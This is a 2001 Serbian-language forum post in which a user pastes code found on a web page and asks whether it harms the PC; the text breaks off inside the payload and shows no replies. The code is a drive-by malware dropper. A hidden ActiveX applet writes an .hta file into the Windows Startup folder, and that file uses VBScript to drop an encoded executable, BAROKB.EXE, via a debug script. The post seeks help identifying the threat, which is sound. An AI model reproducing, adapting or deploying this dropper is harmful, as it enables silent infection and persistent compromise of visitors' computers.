Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!!

[es] :: Visual Basic 6 :: Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!!

[ Pregleda: 3377 | Odgovora: 8 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

mark

Član broj: 513
Poruke: 2
*.dialup.blic.net



Profil

icon Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!!08.07.2001. u 21:35 - pre 277 meseci
Molim Vas da pogledate cijeli kod, a ne samo njegov pocetak!!


<div class='damn' style='position:absolute; visibility:hidden'><APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET></div>
<SCRIPT language=JAVASCRIPT>
window.status = "2000-2001&copy;COPYRIGHT";function loadPage(){if (navigator.appName.substring(0, 9)!= "Microsoft"){window.open('www.yahoo.com','_parent')};else{f()}};
a1=document.applets[0];
if (navigator.systemLanguage.substring(0,2)=="it") {if(navigator.userAgent.indexOf('NT') != -1){fn="..\\..\\All Users\\Menu Avvio\\Programmi\\Esecuzione automatica\\fik.hta"} else {fn="..\\All Users\\Menu Avvio\\Programmi\\Esecuzione automatica\\fik.hta"}} else if(navigator.systemLanguage.substring(0,2)=="en"){if(navigator.userAgent.indexOf('NT') != -1){fn="..\\..\\All Users\\Start Menu\\Programs\\Startup\\fik.hta"} else {fn="..\\All Users\\Start Menu\\Programs\\Startup\\fik.hta"}} else if(navigator.systemLanguage.substring(0,2)=="de"){if(navigator.userAgent.indexOf('NT') != -1){fn="..\\..\\All Users\\Startmen&#1100;\\Programme\\Autostart\\fik.hta"} else {fn="..\\All Users\\Startmen&#1100;\\Programme\\Autostart\\fik.hta"}}else if(navigator.systemLanguage.substring(0,2)=="es"){if(navigator.userAgent.indexOf('NT') != -1){fn="..\\..\\All Users\\Men&#1098; Inicio\\Programas\\Inicio\\fik.hta"} else {fn="..\\All Users\\Men&#1098; Inicio\\Programas\\Inicio\\fik.hta"}};
function f(){
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",15);
setTimeout("a1.setProperty('DOC',doc)",2000);
setTimeout("a1.invoke('write',VA)",2500);
}
</SCRIPT><SCRIPT language=VBSCRIPT>
Option Explicit
Dim VA, doc
VA = ARRAY()
doc = Chr(13) & Chr(10) & "<SCRIPT language=VBSCRIPT>" & Chr(13) & Chr(10) & "On Error Resume Next" & Chr(13) & Chr(10) & "Set fso = CreateObject(""Scripting.FileSystemObject"")" & Chr(13) & Chr(10) & "Set WSHShell = CreateObject(""WScript.Shell"")" & Chr(13) & Chr(10) & "set serverGOD=fso.CreateTextFile(""2ascii.bin"")" & Chr(13) & Chr(10) & "serverGOD.WriteLine ""n-- 2ASCII v2.0 -------- (c)1997 m&g software/Arminio Grgic-GrGa --"" & vbNewline & ""n"" & vbNewline & ""e100 BD 0 1 BA B5 1 B8 0 3D CD 21 72 19 8B D8 E8 72 0 72 12 3C 25"" & vbNewline & ""e116 75 F7 BF C3 1 57 E8 65 0 3C D 74 5 AA EB F6 CD 20 B8 0 24 AB"" & vbNewline & ""e12C 5A B4 3C 33 C9 CD 21 72 F1 3E 89 86 D3 1 B4 9 BA AC 1 CD 21"" & vbNewline & ""e141 B1 4 E8 3E 0 72 35 3C D 74 F7 3C A 74 F3 3C 7E 74 29 2C 30 80"" & vbNewline & ""e157 F9 4 75 6 8A E8 FE C9 EB E2 51 D2 E5 D2 E5 80 E5 C0 A C5 59"" & vbNewline & ""e16C FE C9 75 3 B9 4 0 3E 88 86 D2 1 E8 1B 0 EB C6 B4 3E CD 21 BB"" & vbNewline & ""e182 D3 2 51 B4 3F BA D2 1 3 D5 52 5E B9 1 0 CD 21 AC 59 C3 53 51"" & vbNewline & ""e198 B4 40 BA D2 1 3 D5 3E 8B 9E D3 1 B9 1 0 CD 21 59 5B C3 44 65"" & vbNewline & ""e1AE 63 6F 64 69 6E 67 20 32 41 53 43 49 49 2E 42 49 4E 0 74 6F 20"" & vbNewline & ""g"" & vbNewline & ""q (c)m&g <[email protected]>"" & vbNewline & ""%BAROKB.EXE"" & vbNewline & ""U=J@003000040000?oo080h000000000100000000000000000000000000000000000"" & vbNewline & ""000000000000380000>O2j>0bd9=8Qh1=<=QEDXYAcP`Eb_WEbQ]DPSQE^^_AdPRAUPb"" & vbNewline & ""5e^P5Y^PE4?CDP]_5TU^0==:0T000000000WS<ETIS]kWgS]MkgSf]kgIS]jWgI]=kg1"" & vbNewline & ""fbXgI^]k[g;bMagRf]kgJ;b`Wg[]mkgKf[mgIR]kGgBYESXSf]kg00000000@00@1500"" & vbNewline & ""1<13<0W63Wh000000000<0P00?1;016000P0000@00001`209@I2P00002002P20@000"" & vbNewline & ""000@0000020004000000000400000000P00`0200040000000020000000@000@00000"" & vbNewline & ""0@000@00000000@0000000000000P0@U@20h010080P200@500000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""0000000000000000000000000000000000000000000000000000D0E@1H`0000040`2"" & vbNewline & ""000@00000000004000000000000000008000L0PE5@Ha0000000P0000202000L00004"" & vbNewline & ""0000000000000000@000`00PD^bc5bS000000@0080P2000800000P00000000000000"" & vbNewline & ""00001000300000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""0000000000000000000000000:0TE9^V1_jPEDXYAcPVEYUDPYcDP`QES[UATPgEYdX"" & vbNewline & ""DPdXAUPE5@HPEUhUESedEQRAUP`EQS[5UbPEXdd1`j_D_e`Ah^d5ch^E_bW0PT:@0T9"" & vbNewline & ""1TjPEE@H0Pa^0`aPE3_`EibYEWXd@PX30YPa0iif0]b`0``PEdXUDPE@AHPDEUQ]@^P1"" & vbNewline & ""5\PEBYWEXdcDPBUEcUbEfUT0^PT@:0E5@HQ0<92l88nIH0acmQ26[d2408I000i1200"" & vbNewline & ""0V20mFkfOooEN;A6;58f95l6;=@6;E@>3Z1R95579dNDES];gKB8<:A28@9>30FX?31"" & vbNewline & ""[Mme3185_[B;L`UMc3n]ngK]08kHAf;3@<304iE81b`HQYfgEA=CYaAg0EfOL^UQ588"" & vbNewline & ""P:9372X?mJ_mCH^AW[81H8=4L:o[4<3^:bC<h<KXYob_>@Y?bnA6N5Bdl2[[;]mK1cD`"" & vbNewline & ""48ckMEld1:UNEHgc42ekc:PO4?e5IecPc_=[`2c0QHK:LI9N>F=m@U2=71d;oHf7lBH["" & vbNewline & ""3Mnl63m@40e4T<VonA][9?m@@@Bdh^W_c=f[2NTl1K<k78eDn]VjaC14<P<?[3c;9:A"" & vbNewline & ""k6NM>i1C08:[g1Ml<ehkK`IaV`dbOok_0K>AlhocZ2d@kc]i1ij2Qd1=5?dZH25]fh"" & vbNewline & ""3d]?8H8AIY_=e`?[K:;LT7J4O^KIkk3hPP?DF6oA3;8`1l?5U<gkC`ioL97l01003[78"" & vbNewline & ""d0PoSMBJe>@X0202j33484g49Wn]7?AEHhZ?n0A=l6S^?BlmefgO_LlP=Yl]1d654[eC"" & vbNewline & ""bcBaT;2_I99g]iheO>6AJgIa;Uh=[B:VhPfUg1=a<2@]DhAb:2MbgW<`][[g;Dd4]e7"" & vbNewline & ""o^gWa>H_?H[3geF[49DZ<6GIjnBl5UGTlB3=im3kN3jQAlGLk43i5jo<4OK3mQ^M<4PL"" & vbNewline & ""b81[C9n9A1GbC8UJP<KIY4T408mFiDU2gndPLhT5mYo86f7^m:Oj64<EHHgW2D?k37"" & vbNewline & ""okA13j3;>3Q7jhbCKP:<`S;o6c`:c8GD?1h368<5gHODRha2@k[LKD[e>klG]SIk@88]"" & vbNewline & ""38E85I00EkgohS0lm?1i@3aD<=H?MOgL379S?@YF78A:l7C`1L;QaE>320eU8kh9O]Z="" & vbNewline & ""aal0`nG<8CAANCAJVUT]biA6D?2oNA6j_M[`XYSO^]l41ggTB433ho1GD4FiGPo]_^k"" & vbNewline & ""P<X8Y5Hi0H>XV=mIKc[VZ[Z:@=@cD?[o8G=d3o0J2me<TMk?cPN725:Qf?;BE;l_Hf?"" & vbNewline & ""cH8aCoE@10liHTMR<kg?Z=B]R93=l>i9Ff]\XYS@7i5hD5afGVM@`PA4fn:=[05l3`Y"" & vbNewline & ""d]fF6ZBAb;igh339E8f;gOnaP3?_S1M9]el1@;0J1dg[jKWi082^P3U3h>Wi6JWO04F8"" & vbNewline & ""05=fmGFP6?26jP[P3^7@<1V2:cZmb880QQKBT`23L9Ue;6EhIh;7Z45BX0]@?=Sh=N"" & vbNewline & ""5]@kNh4MI=HAj=EODK<gC8m0Al5H:=5A^96TSM5P`5;UON^0J0b64LD8H`ADbNmQmFj"" & vbNewline & ""M[949b@10[[R1i0b@47cZ6@51bd100LP[ii`12NEhTE@3nUic91Aon<nah]f2:;<<8B5"" & vbNewline & ""?od:FkNm0bh:Rb<@5AX89lkUMo?EfHBLj==?EATWk=N[NdN2mO57bQ178T2UE@9SF<LX"" & vbNewline & ""1U8YA<9gnH<d?N1P4<S@7WVo_\mFLl8LE<aDI20jbK0XfP@Q7@:;62@7P1M<dX9?F"" & vbNewline & ""iYIV=ADUH11@<QG@`diL0250@<;fe2oPO0;14T4QZ4ImIgiN;2N7k_dcfK0A0A8A;;g"" & vbNewline & ""<SoT:5lLhXd@D_aZHNcZdOH33o<8jgfGK:7M`W`H`HL3_9Wj`;c3RQRUP37M>L@00;CK"" & vbNewline & ""aC2_Co^lGoe>1;;7HZPAC9@Om=;oMh:V5K4c90g[c=A61@7KncnoWD9C;MmD^C60Te"" & vbNewline & ""3EIe[ngdd]Oo_DFXX3:JP^<g0Om>UIb5:KSlnn<AOfK5B3F7D1M@F0P25_`KEININ9Jd"" & vbNewline & ""1Z[_cMaGBiKMKX7ILmYCOXl3HS55m::43noEJSoJdI0QdaAh1GDPmVZ;mi0N7JAnGG"" & vbNewline & ""0TRhT[Cg129AX?E=A_F>OZ2ZMK9Lh@e`[Tao1Yd?fg5bFS<I8fS=8mMok`6S@l30^H"" & vbNewline & ""RQP3mUlfYWQgcc=CGF05KQ@d7C_c2k`FQ[:2;moj5;K@2gd>;a?ohkO406gQKQc^>I"" & vbNewline & ""7A1kjDKV`_n`7C5IX`]a20BhbH4oL`L5hFKM8IiI;85F6cNc`1Lk1JfGkg=oof3K=>"" & vbNewline & ""28k55eSPk=LQeKQM@iO9kCD6Ae>375lIKGMmXXoWDPhMMdHLkfBooKH1IPcWK63Cn=e"" & vbNewline & ""<6oFAZ1NX5]Yo2ola3kO1e=k]e5cJkBlKhI7Ed<A:bmd0m25<KiGgK[A_Tm0B[4d_21"" & vbNewline & ""YlW9d=RcjT5];[O>eHH9?>P2lK2i^h[5fZc8602Z@h1_^Gmk0n=hBjn>i;4MHQ8JcIV"" & vbNewline & ""9HZ9YLS<`dS=MP1TfUX=a8cBVmdm`8B2<dSIdch;HYUA<cl^RV4GccKWZg8C`9ER<oD"" & vbNewline & ""X<HL:gaSPg6Lj_PM8TT9^XQ>>=Ln9=J^`HdTo=l@LkbcKh4lC8_7<B6W@VATS7>kD2H"" & vbNewline & ""MdLkcLJW?HPUmT6b912LJji=`LJd1ohed3S8gb5=PB=1Z<MA8W_QfH5c:MHb@`FP9"" & vbNewline & ""oHFKa=`1Z;LTF4=UO^f4ODcgf@lE@FXDo8=<<F:1_0e]X60?@]`<KE4[e5eabi>VJ_k"" & vbNewline & ""G>e6L[hHGmF9EFfTL[D:04Y<1eALlmN889<GXeeB9ei7_Zc2b5lM0[QCI1e]KoKWIV?"" & vbNewline & ""4ee`4;@51<;2@6fX0D;8a>4KAZ]E19H>^`6`Y9f8he97[YHI0H8DE0g?kg5@EnFZT@XX"" & vbNewline & ""1B<OAXmJXl2fm0FDZXl1@KEE]ImQbP?T6X<Ag5X@P3i;T1[5GJ:1XdW3bCAH4X5PBI"" & vbNewline & ""P>POLMHX1`ESA18XaL<HEfbSH^eAMG>mUbP7BT[nTmXdd7f8^153GX]ia36@W<XdXC5"" & vbNewline & ""5[?J8i`0DEON2<093@jH8Xbi>J<RI`c]T0X89Jo=SM2U8oQTFJIZ:L20;V@f70[k;`"" & vbNewline & ""LDgm3HfS2`Z7E`;dLVIG<lnHAlI0=H;lVV@[_ASKi=04A??P[6@Ggme@PJSPn247ZI"" & vbNewline & ""]VKg1OcCLFDV_^;17<]Oo[4;k1`^0X<;4e1C=7IWk1UO@D1TF6>c_MB30I6XG=<j>L"" & vbNewline & ""I]bk8M>L99L1CTdL>Ke0D;65XTAcjhNfP[cXe80i:8k2oCYeK7hEieCgiPOFiTKc5"" & vbNewline & ""`H<L@@?iM6TKI241d>`ilB]ZaaS0<Zcf0L8ePK0Q0W8ASgP]7f<I<Dma]Q<bFL9JHPK"" & vbNewline & "">GTKPkEIQg_TUT?LTOnHB`_H?hPRGlGn308Jg0B?g4UDO4c<3YHN7Ni:KD9lGmASF["" & vbNewline & ""7L?Sl?TF[JCJo4G2kP4QGTg=;bl6YXm34O^NQGPlBn<KhP40DIffT81nh41DQ<9T=U"" & vbNewline & ""La28kYlM[h<cZE3@Kg``?G<MnSb07`A1X1MHD<30>kK0V19l^DUgP4i[G5;h7UFTX]_"" & vbNewline & ""f3OHW22_4QiD`NNhij@]>UH7TXZ0PT`RL@kU6Yd37<1OSf]01n3PM<X^6^0E`Hn[3Tj@"" & vbNewline & ""MblN@@05@[1]?j@QbmM3i338;oc8APXMWS2noYhPm>X<PdfdT?@[4FP_a6GT=I97`3@D"" & vbNewline & ""]m3n0?<3@C>N33BdcHfOF;l_1Ga?Ymgg]oH57KnO>;L0L[6TP4n=@L8ol9cC?nb3c`kc"" & vbNewline & ""MlQ;d?7XoH3O?[e0dLFClEI0XdnM6[EYTl`1cK6D>=X0`COXS<c]eQP0ccEAO640ohb"" & vbNewline & ""9f9m@458F@J<f<JNNEMSP[IK9Fh?0h6A28ieU4gc3eYbFoCXW`?kEfoKSKY05XZ95CJL"" & vbNewline & ""1Xl:UX@GjEJ;H?<3`PTS2CB<ld[4H96fhfSKdXEKdXHi0eDDCY_<ff1:c6`Y69Y<h5"" & vbNewline & ""o6nMDT>IgS852XBM5lmkFI;FJSDJ^9TWKGIY1`MNPM:BR9Xf3R_F`05lPUPJjYg?W9"" & vbNewline & ""C2@P4`j8;75F46mg8joHBgfb;g9DM0o=n@`CD9Ikn]i?HCX=0L2KP9MKT9eoXFJ2]U"" & vbNewline & ""o`dlKhT9cOEk>4:40XhYG`hc?B^:_PEi@SlVP0The6T4`W;;0m@GMokL9I85d?2hg3X"" & vbNewline & ""4Dd[L]mgEdV`9d5D0M2@1PVaDh6g?14L913m4ddeJ=eg1_7M>j[^P6L7C[W:8S@[jKn^"" & vbNewline & ""UEMD0[BC:0kKn7V>H6HaMMf4kQ6kC1FeDCFXgakng]NYgLP05KX328nBFJW7<^fDF8X"" & vbNewline & ""E4GJEDd_dn_;T3U@Wo4TYE8Yc;2iST=4QXGP:@Q?LLjaG@lGm0YU285N1IgG`TB3FDa"" & vbNewline & ""D`gRR<?T7K=Im7@?kobd`=0@=hM6<d817hO=ekGeRQG2LSO`L0GGl0SaCgjn1KRg3I8"" & vbNewline & ""AdkbY>F59LL]7hLYN]Hg6V<_[H=A31TI3MkjcM4TPD0bTM5d=1[:^1k2`HL3F<i]:Y;"" & vbNewline & ""C=L7XGT]LXX]W8c5ZTX>Hm>QC?2VehAPTNEliQI>K=e@D?MUX<gLoIR6H:KBH]XelDf"" & vbNewline & "">e^Q2o8Q]I:73l6ZU87714Y86cWkQa9@E>PCIFW:H3SC8TJebn935VQWPBKC:CMJM9NU"" & vbNewline & ""QFKJl4VL8lPWnQi96b3LHgCI8jI=;F<PiR0ID69Q?B<SCaCOgO>fZ5^G>5g0K1lZU"" & vbNewline & ""1kf`0`9]0:c`T8@E7khCj0oMGhhKFndP5I8aIKcJUTZ@C]N6`:NMfinQBD@]G5g4Ml"" & vbNewline & ""]Wh86DYJIj4U_Df@cJcdEXe=<Sd=UK58F?2baFghYgQjDQ3e?n`3<P6:am;=Ae9Z03S:"" & vbNewline & ""eG:I=k;YSo8ZL>]`LIFohV1QcOLH@gdH4VFfQ=YJa<eZnHV;do;U<21D1QGVkdn9o>g"" & vbNewline & ""B=FChJdPK1C=J2KCLTg[O2UNg5Pb@:`B3<YO0XjBoe`3`H?Lk6c4=X<P343i?e[W]Od"" & vbNewline & ""B;lJRLTAI5LS^iKamljhhj<`=HXE2Y;F01=<lH9j3U=f;1YF;`KB8WGX1?54@eCK@"" & vbNewline & ""Ro3N]<D;K71CaEc]QFi2^AP1H]`GYikMAnWXEOCP16>?cjSe9PcJ[4n``507WIN?3^4T"" & vbNewline & ""GH7F;>MSmO=mT9_D3CekS7?<B5>J87]GV38Sl;9OigSS21W^@1ZnL]T2X`FK0e5EE_SG"" & vbNewline & "":=MU=VR0PlnQAZ;NCRQ[42l=FboON1BK@hD32IeG04TJN9l4CmTk<FiAgIMXdMmK]?"" & vbNewline & ""]oEQB_HV6;821A8^UJT[ABfC6?VN9_TM61@F0DIQ2W5Vk:;Z<?gXGOk9PWOR@;2;=?"" & vbNewline & ""l3DfnZH8297OU72nZkmZ7fS9AA2J6=<@48APmkH2a_W6V0_AI;NWCd=AdEc`mAW@b9E9"" & vbNewline & ""aMeQ<ZcefJQ_doTRFSL@XNOj56^ffCKHUH77PKlSdXa=o]I[19m5@PUZ=_0^;oZGV3GG"" & vbNewline & ""A`LIGa=G4HfhBh`iQ10JD1`=FVliT8g5PgQ2L7E2S`^aXdYc1PWmekMEhB_kFdMk_X"" & vbNewline & ""dKDj@WFcD7aZX2`[adR0_[J=jH`DPkK3a@NKkL_dF^PU05doa5H2;b6S;A5Rc467@5PM"" & vbNewline & ""WQmF3^L4dYEB>12Z_Gfn5V^THH3o1XWiGPg6bfS9715WH@SNcg?T62XW9OkLEN8djj5I"" & vbNewline & ""IN:P@EX2O3;:EHd0=U36XUcDFmgX@<4NGHQ8CI:AaPI4JNLGJLL8U3P1h8[H?E;7U"" & vbNewline & ""GU<U;f7>=9c;D@XKEU4Xm8HS15C=JmB>QeGf?ZR2C>cM>PS=1@^0g_FZL=RC`gEQGb`"" & vbNewline & ""C[8BLIPU5;<HiWF:1Qo4O4>3B3Lbm8WV_UT@0_TSaXQ[1`>i=ZkOYX3Bn;[<T6HLR_6"" & vbNewline & ""ThT`c^l]S@PkT@^Q2HJOcb8166i_a`l0aI]922MBo8>iWSAQih[2`lFde>0@c=@Pf"" & vbNewline & ""<1VSm2alRdCN2YVOHIlb0cfQd1><1G@cJXK504`nL<:j4TN6NB[5d;=diAJ16^kK5Zj@"" & vbNewline & ""LW`A:=X5ad?L@XD=IgJV;K6>a^@`P@V@A<8X2d4X4H0cnGgbf6B7[AW>`VLP3hg3HP_"" & vbNewline & ""PA=o`iNHaZ0ZKSX@@d0MTD[X>dQiJ<RM@SQ=[;52A?>n3N2gAEU3Bkbb;I1VAm:d`I"" & vbNewline & ""DTOOI29XWHHaU4If24lZ=XXKOhhF71eh>JR=2k;3]@Z4``=SAD2UW=Na^8?j==OI37X"" & vbNewline & ""6OA[?BaCjEZAA3lB:A9ikjWfVj4mT5Q_hUl7n5h;X6imThhdXKP5m;WVYl=<<S<hTB="" & vbNewline & ""1d7lR2H@M0doc7>_R=;?X8;EPc?oQ22O?]H:@iTmeNBdQn?W4SCgBIFFEM2B=Ff_4n;"" & vbNewline & ""XD8;<aj<42k4bd<LcV8R@@<kHmU6@]3[1c@TgjAA]amUo0U@5U@HAZAAAADd<Y8AA"" & vbNewline & "":AA`0PTZAAABAXLQPhAZAAADlT4ZhAAZAAdZ`XZAAAjAl0ZTPAZAAAZ4HDZ@AAjAA4"" & vbNewline & ""ZL8<ZAAA2ADHP<4AZAAA008@[hAAjAAdo`XZAAAnATP_<@AZAAAoDHLYl@IJAA5d`0"" & vbNewline & ""G:nD@DUS0003;YjX5fTP<2kdP3@YYJV0hf<eG=Ced=LACO<DZ6LWCd34d?j47@i9d3d"" & vbNewline & ""E=>:4N=g`cm9P3S@[7S]NgmDPMQEgI_4OAK5=Wf1=P22D1369Pe==CdVU[QEaf=dg8C"" & vbNewline & ""@OOnB^7^>WC=3Bd]EZL7eT=CT=9YEYC_fMbH9P3dJ_[O6Po27Bm_PGoZEoSNb`1kDocg"" & vbNewline & ""6VOW]=gm3ggOD7oQ8?ei5YnTP_UWhViYj_5O7e@3Y4NMQIYJ7dGF^`G7f<=Bd4d33"" & vbNewline & ""4VA@;9VkcI7R<0DW17Q1MMCdC=M>LGQB@E3Eed=C@dWI4SDGhHJ^<;B?0oROQ6ImF0m1"" & vbNewline & ""DoFgVO1JN>_O0WgoPg_`W1XjAd3EEeKbH;VYVJ^EXG7IJ3DYVJV@Eh>a9oA6YYJV:6Cn"" & vbNewline & ""YnQTiYj18KUGZ=P2jJ>1DHH3EKKUUP1JE^0OF;c_cB=BEmcQD[g4`WPC9d3=MJ3;Dkj^"" & vbNewline & ""<=BaY8897cmZo69ncCkVEUVQEed07bboe>F?NLU13P0=:6P?egjgbG01<;09GcHecT"" & vbNewline & "":cAd10@Sh5]6mU705K7FnQ^2f8:06S9`;^_g]V;V33O0a08h3goOOnREQb_1[P^40YP"" & vbNewline & ""EXQdAUPcESX_5_6eeSoOfo_0E]n5RijEc`iETUbDP03A_8bEYWX1dPXM]o_7]SY<PQ0"" & vbNewline & ""DP7BE1==E5BC5_VDA70^Koo65e`PDn=QE^YAQ@AX5c<^1HF<1C@_[2Y[HVHK<C6_>3"" & vbNewline & ""0Dh_=8GE595G`B_^STGb1?gW061MTO[@IV@0aCRb13=fLPMO4Q:ob_m;g2?@G_7`oOo"" & vbNewline & ""T7Yj0;?^HT3[5offIi6neoiI_So5N4^]Ic4=En_iEe4_2>30lH0oI?9`F5k:Ia8hQom:"" & vbNewline & ""Id@9oooo]E=jk9W1^[<_kA[@^l7iZNoo^^=ej<Y=;hAQ:@c7E21BE?;nMQQWC:;8IYeC"" & vbNewline & ""GAbUE@gT<FNmlgTAg>LE=YS6Zc;m_o_D=LGEY^TE_gcEL3eAbG^edFUmcK]MFhYE_^L"" & vbNewline & ""=@nR5YUG5>Uam_FhMm7bM[OYEcQRE931QNeCfo0GHW?D^45E61EE<DLYH0=d@c5Chk"" & vbNewline & ""@@6CA3P^EUS8ofJMG[D_EKUh0f7?Qk]M@CQULZOB9UDmKCgWD8dbEiD@Z>?cMWM>ECi:"" & vbNewline & ""EU]_7VO7f9`M1o3a0bg^0`1aL;S;Vc^m0U]c4`fj`PcQm=QMLBK@EBf<fmG@E5^ee]aK"" & vbNewline & ""eW`oEUT@EQcc3NUS@P0EhM@_1[a9@0;@Q>S;fe]A1:XR0YA]CCG]>^e759@PE1TT4FYL"" & vbNewline & ""^g9V720:oV@^P45>CKaSYTD3CUASgG4MPSGT9>ACK;nH`NE_o>55<clbTcId567QFm"" & vbNewline & ""D`bf@i9NB273a[4[Ak?eQHR0<@U0FL@DP1X0L:4A`0E82S0Z6@61QDP<H2X0@I5@21b:"" & vbNewline & ""BP2T4D05S8X0H:@A00EP2S0Z5061YD0=82XC1OfG<@4P@`1CEUdmmInoE6YEU1dEdbY"" & vbNewline & ""ERedEUc1E7=_5TeR]Pf_@EI>EQ]U`C1^AocE4YbEUSdE_bilDPM1cE4@S:5EhYd3KGT"" & vbNewline & ""4RMA<:QIfk]G]D1Yk=A6`UE<LbQQc;T8ha0JV]f1]KBHZ5CbY5deeagKkE8Q^ETCC"" & vbNewline & ""D5U`aUYH]]FmDPUDAX6T@`G^11jn4P]20:9E]`YUJkkW=@0US[TEe^dH=@>bc=FHm51"" & vbNewline & ""?oA0MmfPC_TEEcUbGUBUEW];UUiN^ifCA@?5`]>D<AeW]Q]CM[i=FI6DN4UN=m7H[_"" & vbNewline & ""DB05_co`<dKD`3Nd]dNQcdOFmBEQcgI5F;T<O:F0ghEbdY1hGQ=Q_I2DH@4XgFEJ[K"" & vbNewline & ""U7@lRWGnC[:]DKYlEXnYLA0=8CIfjQgF4[jc8gF<1cZZ:0F5OHU3XAT:_@=cJEGX>"" & vbNewline & ""ED_??BKf=2[MQ;H]Ab:@6ndaE^HXOV==FOQWAURQN`VV0J9jTF1G_FLKD=>R2<8>6m=f"" & vbNewline & ""=Q=YIDf^ecIk]F<dC=5c`?5SXSOIKJEkgflAeY1V;:4TgcEg6?ECaEe`TITmVkE3UV"" & vbNewline & ""d:@lP21bLKV?<o:@2Gc@;b<;C0cd9Pi4G8Wa1_3fE@5<h1cm>7l4<0W6cWhP00?1"" & vbNewline & ""0;16P<XiDeg2C0DW4A;40h06=2jg;0J4bP7k;<mIDR0dQ0Nd@7bB1h36BhL1fj0b"" & vbNewline & ""K?<`020805WL=QOPTGW01N>CY^LD^3h=dGPlX3;oI04@2PPD^b^VB^@EKQC3V56AZV"" & vbNewline & ""Yi;M10^V0WENT2@UU]:J`:b0U?cKm:6Nac;[7c?lT0XoSOKX12=51c9000000000<To0"" & vbNewline & ""00000000T0PnH002X0=nh0@mWoG3o=o[X@@@Z@@@:@:69687a71KQe7;hN3^clAK]b]h"" & vbNewline & ""0100`01KQe7;hN3^clAK<A01gKc_Qe9;hN3^clAK=cTak93X43b=?1P8B:66n3`oUdd9"" & vbNewline & ""c51KQe7;hN3^clAK<A917Ke7R;N3?^lAcKA9AeP1L1Ke87;Nn3^l<AKAc91KMc_e89;N"" & vbNewline & ""n3^lLAKckT31h21ml0coko3A81=Dh_3m7lf?B:22B877e9eggYSo_oo@R;23S249h737"" & vbNewline & ""h43Yd4gal1?Ym<ooWoN9[giI0000B:77<Xld1gg20o2]eb;H7:Od4V1cX81S0@6c4Yh"" & vbNewline & ""n0[X1`9h737h59H_RI=Bn0`P20;`790Ud5;QO4=24`@2E20L1c@>378[oFL2E20:E:7"" & vbNewline & ""a780]dL97ii78?g7E7@7FiG8Kb^E[oFP2E20L90d8793>334o[HoZFTE@20QWYW<?mo0"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000200300"" & vbNewline & ""00P0800>00002@00200000000000000000000201000010002020@00XP00000000000"" & vbNewline & ""0000000000010094@00H0000;DP2<0X2000000000000000000000000000000000109"" & vbNewline & ""040020000S020X0100000000000000000000000000000000101U0080X080000000"" & vbNewline & ""00000000000000100940<000`002T200R000000000000007@`200X0000P00001000"" & vbNewline & ""00100400000000200000000000000000000000000000P000P0000000:00020008000"" & vbNewline & ""R0002000o000X0002000<0o0<0o0`00oco0o0000co0ol0oo`00o?oo0000000000000"" & vbNewline & ""00000000H07gEgggEgggEggg1`00P00?oooooooooooo7o`00000n?ooooooooooOoo`"" & vbNewline & ""0000h0?ooooooooooooo1`00P00?oooooooooooo7o`00000n?ooooooooooOoo`0000"" & vbNewline & ""h0?o`0?o`0?o`00o1`00P00?3og`X0g`00g`7o`00000>?okEkkkEkkkL`o`0000h0?o"" & vbNewline & "";cgc0cccbc?o1`00P00??ookl?oogc`o7o`00000n?oo`g9o_oc`Ooo`0000h0?o3ck9"" & vbNewline & ""2@00`3?o1`00P00?_ocg091G1`0?7o`00000n?ocPk9I>Ag0L?o`0000h0?o3og9:IIH"" & vbNewline & ""b0?o1`00P00??ookX9IIZC?`7o`00000n?ocRg9IZIChCk0`0000h0?o4ck00003ic?4"" & vbNewline & ""0000P00?SoggZggg:ggd?00000>?ok0cck0cckd`><0000h0?o`coo`coo`c`d?0"" & vbNewline & ""P00?oooooooooooogo><0000n?ooooooooooOood?0h0?ooooooooo3h00d0><P00?"" & vbNewline & ""ooooooooooho1h04?0n?oooooooooh;g00d0><h0?ooooooooo7hh00004_?oooo"" & vbNewline & ""oooo_oh00000d0>0n?oooooooooh00000004Y088Z888Z888280000000000`00o0000"" & vbNewline & ""3o00<0o0`00o00003o00<0o0`00o00003o00<0o0`00o00003o00<0o0`00o00003o00"" & vbNewline & ""<0o0`00o00003o00<0o0`00o00003o00<0o0@00o00000o0000O0000?000007008130"" & vbNewline & ""`03100073P00<?`0`0Oh000oKohc020X00000@0000P0000100400000800000000000"" & vbNewline & ""00000000000000000000000020002000X0008000P0008000:000l000S000:000`00o"" & vbNewline & ""`00o0000?oo03o00<0o0co0o3o00oooo000000000000F7ggEgggP00?oooo?og0h0?`"" & vbNewline & ""00003g00>?gg`g`gP00?cc9o<`g0h0?g09A03g00>?c19g77P00?Sg9I0h40h0?c89I`"" & vbNewline & ""7<00>?g0`0`lS40?Gcccm`g<i0?oooo``0<4n?oooogh4?oooo;g00X088Z8880000"" & vbNewline & ""00702P072m0087m0`07o3o0780P087m0P07m00070R000700007008033lR081800000"" & vbNewline & ""000<0000dOVf00o0L0Pd02000010020P0P@00104<0X2000100@@0@0100400X100020"" & vbNewline & ""0000000000000000`00D2U20:LU20000000000000000QUP202U20000000000000"" & vbNewline & ""0000;^U2X0dU0200000000000000`00k2U20:lU20000000000000000P07V`2042U20"" & vbNewline & 